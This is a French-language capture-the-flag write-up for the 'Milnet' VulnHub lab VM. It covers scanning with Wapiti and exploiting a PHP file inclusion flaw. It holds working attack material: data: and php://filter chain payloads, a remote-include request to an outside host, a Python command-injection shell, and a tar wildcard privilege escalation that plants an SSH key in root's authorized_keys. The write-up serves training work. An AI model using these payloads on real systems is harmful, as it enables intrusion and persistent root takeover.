Milnet est un CTF qui aurait sans doute dû me prendre plus de temps à résoudre que ça, mais Wapiti
disposait de payloads solides pour trouver la vulnérabilité permettant de mettre un pied dans la porte.
NB : La VM fonctionne avec VMWare mais semble bloquer avec VirtualBox.
La VM dispose de deux ports ouverts, SSH et lighttpd.
Sur ce dernier, on trouve un site minimaliste qui utilise PHP et des frames. Ni une ni deux je lance Wapiti
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
$ wapiti -u http://192.168.242.131/ --color
__ __ .__ __ .__________
/ \ / \_____ ______ |__|/ |_|__\_____ \
\ \/\/ /\__ \ \____ \| \ __\ | _(__ <
\ / / __ \| |_> > || | | |/ \
\__/\ / (____ / __/|__||__| |__/______ /
\/ \/|__| \/
Wapiti 3.1.7 (wapiti-scanner.github.io)
[*] Saving scan state, please wait...
[*] Launching module sql
[*] Launching module http_headers
Checking X-Frame-Options:
X-Frame-Options is not set
Checking X-Content-Type-Options:
X-Content-Type-Options is not set
[*] Launching module xss
[*] Launching module ssl
[*] Launching module redirect
[*] Launching module exec
---
PHP evaluation in http://192.168.242.131/content.php via injection in the parameter route
Evil request:
POST /content.php HTTP/1.1
host: 192.168.242.131
connection: keep-alive
user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
accept-language: en-US
accept-encoding: gzip, deflate, br
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
content-type: application/x-www-form-urlencoded
referer: http://192.168.242.131/nav.php
content-length: 75
Content-Type: application/x-www-form-urlencoded
route=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D
---
[*] Launching module csp
CSP is not set
[*] Launching module file
---
Timeout occurred in http://192.168.242.131/content.php
Evil request:
POST /content.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
route=https%3A%2F%2Fwapiti3.ovh%2Fe.php
---
---
PHP local inclusion leading to code execution in http://192.168.242.131/content.php via injection in the parameter route
Evil request:
POST /content.php HTTP/1.1
host: 192.168.242.131
connection: keep-alive
user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
accept-language: en-US
accept-encoding: gzip, deflate, br
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
content-type: application/x-www-form-urlencoded
referer: http://192.168.242.131/nav.php
content-length: 4276
Content-Type: application/x-www-form-urlencoded
route=php%3A%2F%2Ffilter%2Fconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM921.NAPLPS%7Cconvert.iconv.855.CP936%7Cconvert.iconv.IBM-932.UTF-8%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.MS932.MS936%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.IBM869.UTF16%7Cconvert.iconv.L3.CSISO90%7Cconvert.iconv.UCS2.UTF-8%7Cconvert.iconv.CSISOLATIN6.UCS-4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.8859_3.UTF16%7Cconvert.iconv.863.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.851.UTF-16%7Cconvert.iconv.L1.T.618BIT%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CSA_T500.UTF-32%7Cconvert.iconv.CP857.ISO-2022-JP-3%7Cconvert.iconv.ISO2022JP2.CP775%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.IBM891.CSUNICODE%7Cconvert.iconv.ISO8859-14.ISO6937%7Cconvert.iconv.BIG-FIVE.UCS-4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.L5.UTF-32%7Cconvert.iconv.ISO88594.GB13000%7Cconvert.iconv.BIG5.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP1162.UTF32%7Cconvert.iconv.L4.T.61%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.IBM869.UTF16%7Cconvert.iconv.L3.CSISO90%7Cconvert.iconv.R9.ISO6937%7Cconvert.iconv.OSF00010100.UHC%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.863.UTF-16%7Cconvert.iconv.ISO6937.UTF16LE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP-AR.UTF16%7Cconvert.iconv.8859_4.BIG5HKSCS%7Cconvert.iconv.MSCP1361.UTF-32LE%7Cconvert.iconv.IBM932.UCS-2BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP-AR.UTF16%7Cconvert.iconv.8859_4.BIG5HKSCS%7Cconvert.iconv.MSCP1361.UTF-32LE%7Cconvert.iconv.IBM932.UCS-2BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.L6.UNICODE%7Cconvert.iconv.CP1282.ISO-IR-90%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.BIG5HKSCS.UTF16%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM921.NAPLPS%7Cconvert.iconv.855.CP936%7Cconvert.iconv.IBM-932.UTF-8%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.8859_3.UTF16%7Cconvert.iconv.863.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP1046.UTF16%7Cconvert.iconv.ISO6937.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP1046.UTF32%7Cconvert.iconv.L6.UCS-2%7Cconvert.iconv.UTF-16LE.T.61-8BIT%7Cconvert.iconv.865.UCS-4LE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.MAC.UTF16%7Cconvert.iconv.L8.UTF16BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CSIBM1161.UNICODE%7Cconvert.iconv.ISO-IR-156.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.iconv.IBM932.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.MS932.MS936%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.base64-decode%2Fresource%3Dphp%3A%2F%2Ftemp
---
1 requests were skipped due to network issues
[*] Launching module ssrf
1 requests were skipped due to network issues
[*] Launching module cookieflags
[*] Launching module permanentxss
[*] Generating report...
A report has been generated in the file /home/devloop/.wapiti/generated_report
Open /home/devloop/.wapiti/generated_report/192.168.242.131_05222023_1403.html with a browser to see this report.
On a donc une exécution de code PHP possible. On verra la cause plus tard.
Le rapport généré nous donne ce one-liner pour reproduire la vulnérabilité :
1
curl "http://192.168.242.131/content.php" -e "http://192.168.242.131/nav.php" -d "route=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D"
Ça utilise donc le scheme data:
avec un encodage base64 pour passer du code PHP.
J’écris un semblant de prompt pour encoder les commandes et les envoyer au script :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from urllib.parse import quote
from base64 import b64encode
import requests
def cmd_to_data_scheme(command):
php_command = f"<?php system('{command}'); ?>".encode(errors="ignore")
return f"data:;base64,{b64encode(php_command).decode()}"
sess = requests.session()
while True:
command = input("> ").strip()
if command == "quit":
break
response = sess.post(
"http://192.168.242.131/content.php",
data={"route": cmd_to_data_scheme(command)}
)
print(response.text.rstrip("a\n"))
J’obtiens toujours quelques caractères inutiles dans l’output, mais ça fonctionne :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
python3 exploit.py
> uname -a
Linux seckenheim.net.mil 4.4.0-22-generic #40-Ubuntu SMP Thu May 12 22:03:46 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
> pwd
/var/www/html
)�
> ls -al
total 128
drwxr-xr-x 2 www-data www-data 4096 May 22 2016 .
drwxr-xr-x 3 root root 4096 May 21 2016 ..
-rw-r--r-- 1 root root 73450 Aug 6 2015 bomb.jpg
-rw-r--r-- 1 root root 3901 May 21 2016 bomb.php
-rw-r--r-- 1 root root 124 May 21 2016 content.php
-rw-r--r-- 1 root root 145 May 21 2016 index.php
-rw-r--r-- 1 www-data www-data 20 May 21 2016 info.php
-rw-r--r-- 1 root root 109 May 21 2016 main.php
-rw-r--r-- 1 root root 18260 Jan 22 2012 mj.jpg
-rw-r--r-- 1 root root 532 May 21 2016 nav.php
-rw-r--r-- 1 root root 253 May 22 2016 props.php
)�
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Voici le code PHP qui était vulnérable :
1
2
3
4
5
6
7
8
9
<?php
if (isset($_POST['route'])) {
$route = $_POST['route'];
} else {
$route = main;
}
include $route . ".php"
?>
La technique est mentionnée sur File Inclusion/Path traversal - HackTricks.
La seconde technique trouvée par Wapiti
consiste à se servir d’un payload de type GitHub - synacktiv/php_filter_chain_generator. Comme Wapiti
ajoute un point d’interrogation à la fin de son payload, l’ajout de l’extension finale n’a aucune incidence.
Une fois sur le système je trouve un dossier particulier à la racine :
1
2
3
4
5
6
7
8
www-data@seckenheim:/$ ls backup/
total 3.7M
drwxr-xr-x 2 root root 4.0K May 21 2016 .
drwxr-xr-x 24 root root 4.0K May 21 2016 ..
-rw-r--r-x 1 root root 57 May 21 2016 backup.sh
-rw-r--r-- 1 root root 3.7M May 22 18:20 backup.tgz
www-data@seckenheim:/$ date
Mon May 22 18:20:46 CEST 2023
L’archive semble avoir été créée récemment, sans doute via une tache cron. Le script shell dans le même dossier est visiblement responsable de la création :
1
2
3
#!/bin/bash
cd /var/www/html
tar cf /backup/backup.tgz *
On peut voir que le script utilise le symbole wildcard ce qui rend la commande vulnérable à une injection d’options.
On va procéder comme pour le CTF /dev/random: Pipe qui avait le même scénario. On va placer un script evil.sh
qui rajoute une clé SSH autorisée pour le compte root puis créer des noms de fichiers qui seront pris comme des options par la commande tar
et permettront de faire exécuter notre script :
1
2
3
4
5
6
7
www-data@seckenheim:/var/www/html$ vi evil.sh
www-data@seckenheim:/var/www/html$ cat evil.sh
#!/bin/bash
mkdir -p /root/.ssh/
echo "ssh-rsa AAAA--- snip clé publique ssh snip ---z8/h" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
www-data@seckenheim:/var/www/html$ touch -- "--checkpoint=1"; touch -- "--checkpoint-action=exec=sh evil.sh"; touch a
Quasiment aussitôt j’obtiens l’accès root :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ ssh -i ~/.ssh/key_no_pass root@192.168.242.131
Welcome to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-22-generic x86_64)
* Documentation: https://help.ubuntu.com/
19 packages can be updated.
0 updates are security updates.
Last login: Sun May 22 21:04:14 2016 from 192.168.0.79
root@seckenheim:~# id
uid=0(root) gid=0(root) groups=0(root)
root@seckenheim:~# cd /root
root@seckenheim:~# ls
credits.txt
root@seckenheim:~# cat credits.txt
,----,
,/ .`|
,` .' : ,---, ,---,.
; ; /,--.' | ,' .' | ,---,
.'___,/ ,' | | : ,---.' | ,---, ,---.'|
| : | : : : | | .' ,-+-. / | | | :
; |.'; ; : | |,--. ,---. : : |-, ,--.'|' | | | |
`----' | | | : ' | / \ : | ;/|| | ,"' | ,--.__| |
' : ; | | /' : / / | | : .'| | / | | / ,' |
| | ' ' : | | |. ' / | | | |-,| | | | |. ' / |
' : | | | ' | :' ; /| ' : ;/|| | | |/ ' ; |: |
; |.' | : :_:,'' | / | | | \| | |--' | | '/ '
'---' | | ,' | : | | : .'| |/ | : :|
`--'' \ \ / | | ,' '---' \ \ /
`----' `----' `----'
This was milnet for #vulnhub by @teh_warriar
I hope you enjoyed this vm!
If you liked it drop me a line on twitter or in #vulnhub.
I hope you found the clue:
/home/langman/SDINET/DefenseCode_Unix_WildCards_Gone_Wild.txt
I was sitting on the idea for using this technique for a BOOT2ROOT VM prives for a long time...
This VM was inspired by The Cuckoo's Egg.
If you have not read it give it a try:
http://www.amazon.com/Cuckoos-Egg-Tracking-Computer-Espionage/dp/1416507787/